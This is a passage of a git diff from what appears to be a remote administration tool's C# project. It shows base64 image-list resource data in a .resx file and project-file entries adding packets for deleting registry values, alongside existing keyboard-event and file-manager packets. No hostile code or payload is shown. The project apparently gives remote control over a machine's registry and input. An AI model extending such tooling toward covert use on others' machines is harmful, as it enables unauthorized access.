AwABEAMAAQEBAAEIBgABBBgAAYACAAGAAwACgAEAAYADAAGAAQABgAEAAoACAAPAAQABwAHcAcABAAHw
|
||||
AcoBpgEAATMFAAEzAQABMwEAATMBAAIzAgADFgEAAxwBAAMiAQADKQEAA1UBAANNAQADQgEAAzkBAAGA
|
||||
AXwB/wEAAlAB/wEAAZMBAAHWAQAB/wHsAcwBAAHGAdYB7wEAAdYC5wEAAZABqQGtAgAB/wEzAwABZgMA
|
||||
AZkDAAHMAgABMwMAAjMCAAEzAWYCAAEzAZkCAAEzAcwCAAEzAf8CAAFmAwABZgEzAgACZgIAAWYBmQIA
|
||||
AWYBzAIAAWYB/wIAAZkDAAGZATMCAAGZAWYCAAKZAgABmQHMAgABmQH/AgABzAMAAcwBMwIAAcwBZgIA
|
||||
AcwBmQIAAswCAAHMAf8CAAH/AWYCAAH/AZkCAAH/AcwBAAEzAf8CAAH/AQABMwEAATMBAAFmAQABMwEA
|
||||
AZkBAAEzAQABzAEAATMBAAH/AQAB/wEzAgADMwEAAjMBZgEAAjMBmQEAAjMBzAEAAjMB/wEAATMBZgIA
|
||||
ATMBZgEzAQABMwJmAQABMwFmAZkBAAEzAWYBzAEAATMBZgH/AQABMwGZAgABMwGZATMBAAEzAZkBZgEA
|
||||
ATMCmQEAATMBmQHMAQABMwGZAf8BAAEzAcwCAAEzAcwBMwEAATMBzAFmAQABMwHMAZkBAAEzAswBAAEz
|
||||
AcwB/wEAATMB/wEzAQABMwH/AWYBAAEzAf8BmQEAATMB/wHMAQABMwL/AQABZgMAAWYBAAEzAQABZgEA
|
||||
AWYBAAFmAQABmQEAAWYBAAHMAQABZgEAAf8BAAFmATMCAAFmAjMBAAFmATMBZgEAAWYBMwGZAQABZgEz
|
||||
AcwBAAFmATMB/wEAAmYCAAJmATMBAANmAQACZgGZAQACZgHMAQABZgGZAgABZgGZATMBAAFmAZkBZgEA
|
||||
AWYCmQEAAWYBmQHMAQABZgGZAf8BAAFmAcwCAAFmAcwBMwEAAWYBzAGZAQABZgLMAQABZgHMAf8BAAFm
|
||||
Af8CAAFmAf8BMwEAAWYB/wGZAQABZgH/AcwBAAHMAQAB/wEAAf8BAAHMAQACmQIAAZkBMwGZAQABmQEA
|
||||
AZkBAAGZAQABzAEAAZkDAAGZAjMBAAGZAQABZgEAAZkBMwHMAQABmQEAAf8BAAGZAWYCAAGZAWYBMwEA
|
||||
AZkBMwFmAQABmQFmAZkBAAGZAWYBzAEAAZkBMwH/AQACmQEzAQACmQFmAQADmQEAApkBzAEAApkB/wEA
|
||||
AZkBzAIAAZkBzAEzAQABZgHMAWYBAAGZAcwBmQEAAZkCzAEAAZkBzAH/AQABmQH/AgABmQH/ATMBAAGZ
|
||||
AcwBZgEAAZkB/wGZAQABmQH/AcwBAAGZAv8BAAHMAwABmQEAATMBAAHMAQABZgEAAcwBAAGZAQABzAEA
|
||||
AcwBAAGZATMCAAHMAjMBAAHMATMBZgEAAcwBMwGZAQABzAEzAcwBAAHMATMB/wEAAcwBZgIAAcwBZgEz
|
||||
AQABmQJmAQABzAFmAZkBAAHMAWYBzAEAAZkBZgH/AQABzAGZAgABzAGZATMBAAHMAZkBZgEAAcwCmQEA
|
||||
AcwBmQHMAQABzAGZAf8BAALMAgACzAEzAQACzAFmAQACzAGZAQADzAEAAswB/wEAAcwB/wIAAcwB/wEz
|
||||
AQABmQH/AWYBAAHMAf8BmQEAAcwB/wHMAQABzAL/AQABzAEAATMBAAH/AQABZgEAAf8BAAGZAQABzAEz
|
||||
AgAB/wIzAQAB/wEzAWYBAAH/ATMBmQEAAf8BMwHMAQAB/wEzAf8BAAH/AWYCAAH/AWYBMwEAAcwCZgEA
|
||||
Af8BZgGZAQAB/wFmAcwBAAHMAWYB/wEAAf8BmQIAAf8BmQEzAQAB/wGZAWYBAAH/ApkBAAH/AZkBzAEA
|
||||
Af8BmQH/AQAB/wHMAgAB/wHMATMBAAH/AcwBZgEAAf8BzAGZAQAB/wLMAQAB/wHMAf8BAAL/ATMBAAHM
|
||||
Af8BZgEAAv8BmQEAAv8BzAEAAmYB/wEAAWYB/wFmAQABZgL/AQAB/wJmAQAB/wFmAf8BAAL/AWYBAAEh
|
||||
AQABpQEAA18BAAN3AQADhgEAA5YBAAPLAQADsgEAA9cBAAPdAQAD4wEAA+oBAAPxAQAD+AEAAfAB+wH/
|
||||
AQABpAKgAQADgAMAAf8CAAH/AwAC/wEAAf8DAAH/AQAB/wEAAv8CAAP/ggABGgGZC1IBGjIAAXQBGwEa
|
||||
BJoFegHDAVIyAAFSAfYBoAKaA3oEWQHDAVIyAAFSAfYBwwGgApoDegNZAcMBUjIAAVIB9gLDAqABmgN6
|
||||
AlkBwwFSMgABUgL/A/YBwwKaA3oBwwFSMgABUgH2ApoBegEbBvYB/wFYMgABWAH2A5oCegKaA3oB9gFY
|
||||
MgABWAH2A5oBGgb2Af8BeTIAAVgF/wH2BHkCmQEbMgAHeQf/8QABQgFNAT4HAAE+AwABKAMAAUADAAEQ
|
||||
AwABAQEAAQEFAAGAFwAD/wEAAv8GAAL/BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEB
|
||||
BgABgAEBBgABgAEBBgABgAEBBgABgAEBBgABgAEBBgAC/wYAAv8GAAL/BgAL
|
||||
</value>
|
||||
</data>
|
||||
<metadata name="imageRegistryKeyTypeList.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
|
@ -169,7 +169,7 @@
|
|||
AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w
|
||||
LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0
|
||||
ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk
|
||||
CQAAAk1TRnQBSQFMAgEBAgEAAdgBAAHYAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
|
||||
CQAAAk1TRnQBSQFMAgEBAgEAASABAQEgAQEBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo
|
||||
AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA
|
||||
AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5
|
||||
AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA
|
||||
|
|
|
@ -143,12 +143,14 @@
|
|||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetCreateRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetDeleteRegistryValueResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRegistryKeysResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\GetRenameRegistryKeyResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\SetStatusFileManager.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoCreateRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoDeleteRegistryValue.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoKeyboardEvent.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoLoadRegistryKey.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\DoRenameRegistryKey.cs" />
|
||||
|
|
Loading…
Reference in New Issue